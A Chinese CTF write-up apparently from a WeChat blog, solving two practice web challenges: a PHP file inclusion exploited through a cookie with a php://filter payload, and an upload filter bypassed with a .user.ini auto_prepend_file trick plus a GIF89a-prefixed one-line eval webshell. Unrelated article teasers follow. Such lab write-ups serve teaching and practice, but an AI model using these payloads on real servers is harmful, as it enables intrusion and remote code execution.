双剑破天门:攻防世界Web题解之独孤九剑心法(三)

双剑破天门:攻防世界Web题解之独孤九剑心法(三)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:攻防世界web-Fileinclude

二:攻防世界web-Easyupload

三:总结


一:攻防世界web-Fileinclude

打开为如下图所示

Flag在flag.php

我们查看源码发现如下

代码审计如下

<?php // 检查是否开启了错误显示,如果没有,则开启 if( !ini_get('display_errors') ) { ini_set('display_errors', 'On'); } // 设置错误报告级别为显示所有错误 error_reporting(E_ALL); // 从 cookie 中获取语言设置 $lan = $_COOKIE['language']; // 如果 cookie 中没有语言设置 if(!$lan) { // 设置默认语言为 english @setcookie("language","english"); // 包含英文语言文件 @include("english.php"); } else { // 如果有语言设置,包含对应的语言文件 @include($lan.".php"); } // 读取 index.php 文件的内容 $x = file_get_contents('index.php'); // 输出 index.php 文件的内容 echo $x; ?>

所以根据代码审计结果我们得知只有cookie中有相应的语言设置才能得到flag

但是检查发现没有cookie所以我们需要自行利用bp传cookie

构建payload=cookie:language=flag发现页面无输出,所以还是有问题

结合题目fileinclude我们可以试一试php伪协议

Payload:cookie:language=php://filter/read=convert.base64-encode/resource=flag

这里路径为flag而不是flag.php因为根据源代码知$lan=flag 在拼接后面.php才对

成功得到flag


二:攻防世界web-Easyupload

打开为文件上传

我们随便上传一个木马文件发现被干掉所以这里应该是过滤了php

所以我们利用fastcg中.user.ini特性进行任意命令执行

参考文章:.user.ini文件构成的PHP后门 - phith0n

添加如下内容

GIF89a
auto_prepend_file=a.jpg

然后利用bp抓包将这个文件上传记住要将Content-Type: application/octet-stream修改为
Content-Type: image/jpg

上传成功

然后将我们准备好的图片马修改为a.jpg我们试一试图片马看看能不能上传,我们现将php改掉

如果你没有图片马可以自行创建一个内容如下 

GIF89a

<?=eval($_REQUEST[c]);?>

修改后如下

 <?=eval($_REQUEST[cmd]);?>

上传成功,我们利用蚁剑连接

连接成功

成功拿到flag

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。


三:总结

PHP 伪协议是一组用于访问不同类型资源、执行代码等操作的特殊协议,可在文件包含等场景被利用;而 FastCGI 中的.user.ini 特性允许用户在特定目录下配置 PHP 运行时设置,若配置不当可能引发安全风险,被攻击者利用来执行恶意代码。


(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

Read more

【事件相机之三 深度估计文章研读】Active Event Alignment for Monocular Distance Estimation

【事件相机之三 深度估计文章研读】Active Event Alignment for Monocular Distance Estimation

系列文章目录 事件相机之一 空间目标检测 事件相机之二 去噪文章研读 事件相机之三 单目深度估计 提出了一种 **行为驱动(behavior driven, BD)** 的方法,用于从事件相机数据中估计物体距离。这种BD的方法模仿了人眼等生物系统如何根据物距稳定其视野:远处的物体需要较小的 **补偿(compensatory)** 旋转来保持聚焦,而附近的物体需要更大的调整来保持对齐。这种自适应策略利用自然稳定行为有效地估计相对距离。我们的方法针对特定感兴趣区域内的局部深度估计。通过在小区域内对齐事件,我们估计了稳定图像运动所需的角速度。 !!!我将会尽量删除论文中价值不大的描述,尽量精简,并找到较为新颖且具有迁移价值的点(尽力而为) 文章目录 * 系列文章目录 * 一、介绍 * 二、相关工作 * 三、基于区域级像素对齐的距离估计 * 3.1 事件对齐 * 3.1.1 逐目标的事件对齐 * 3.1.2 全局速度方向估计 * 3.1.3

AI 辅助开发实战:机器人工程本科毕设的高效实现路径

作为一名刚刚完成机器人工程本科毕设的过来人,我深刻体会过那种在算法调试、软硬件集成和紧张deadline之间反复横跳的焦虑。我的毕设题目是“基于视觉的移动抓取机器人系统”,听起来很酷,但做起来每一步都是坑。幸运的是,这次我尝试引入AI辅助开发工具,它们像一位不知疲倦的协作者,帮我渡过了许多难关。这篇文章,我就想和大家分享一下,如何将AI工具融入你的毕设开发流程,实现高效、稳定的系统构建。 1. 背景痛点:那些年我们踩过的坑 在开始之前,我们先来盘点一下机器人工程毕设中那些让人头疼的共性难题。理解了这些痛点,才能明白AI工具的价值所在。 1. 算法调试的“黑盒”困境:无论是SLAM建图还是视觉识别,调参过程往往依赖经验和大量试错。比如调整ORB-SLAM2的特征点数量、匹配阈值,或者YOLO模型的置信度阈值,手动修改代码、编译、运行、观察结果,循环往复,效率极低。 2. 多线程与异步控制的复杂性:机器人系统通常需要多个任务并发执行,如传感器数据采集、核心算法运算、运动控制指令下发。手动编写稳健的多线程或ROS异步回调逻辑,极易出现数据竞争、死锁或回调堆积问题。 3. ROS生

【FPGA】高云FPGA实战:PLL锁相环IP核配置与多时钟域设计

1. 高云FPGA与PLL锁相环基础 在数字电路设计中,时钟信号就像系统的心跳,它决定了各个模块的工作节奏。而PLL(Phase Locked Loop,锁相环)则是这个心跳的精确调节器。高云FPGA内置的PLL IP核能够将输入时钟进行倍频、分频和相位调整,输出多个稳定的时钟信号。 我第一次接触高云FPGA的PLL是在一个需要多时钟域的项目中。当时系统需要同时处理视频数据和传感器数据,视频处理需要100MHz的时钟,而传感器接口只需要10MHz。如果使用外部晶振提供多个时钟源,不仅成本高,还会增加PCB设计的复杂度。这时候PLL的优势就体现出来了——只需一个50MHz的外部晶振,就能通过PLL生成所有需要的时钟。 高云FPGA的PLL IP核主要有以下特点: * 宽频率范围:支持3MHz到500MHz的输入时钟 * 多路输出:最多可输出5路独立时钟 * 精确控制:每路时钟可单独设置分频/倍频系数、占空比和相位偏移 * 低抖动:输出时钟抖动小于100ps,满足高速接口需求 2. 创建PLL IP核的完整流程 2.1 工程准备与环境配置 首先需要确保安装了高云FP

Stable Diffusion:AI人工智能图像生成的变革者

Stable Diffusion:AI人工智能图像生成的变革者 关键词:Stable Diffusion,AI图像生成,扩散模型,深度学习,图像合成 摘要:本文深入探讨了Stable Diffusion在AI人工智能图像生成领域的变革性作用。从其背景知识入手,详细阐述了核心概念、算法原理、数学模型,通过项目实战展示其具体应用,分析了实际应用场景,并推荐了相关的工具和资源。最后对Stable Diffusion的未来发展趋势与挑战进行总结,同时解答了常见问题,为读者全面了解这一前沿技术提供了系统的知识体系。 1. 背景介绍 1.1 目的和范围 随着人工智能技术的飞速发展,图像生成领域取得了显著的进展。Stable Diffusion作为其中的佼佼者,引发了广泛的关注。本文的目的在于全面介绍Stable Diffusion的原理、应用和发展前景,帮助读者深入理解这一技术。范围涵盖了从基础概念到实际应用的各个方面,包括算法原理、数学模型、项目实战以及未来趋势等。 1.2 预期读者 本文预期读者包括对人工智能、图像生成技术感兴趣的科研人员、开发者、学生以及相关行业的从业者。无论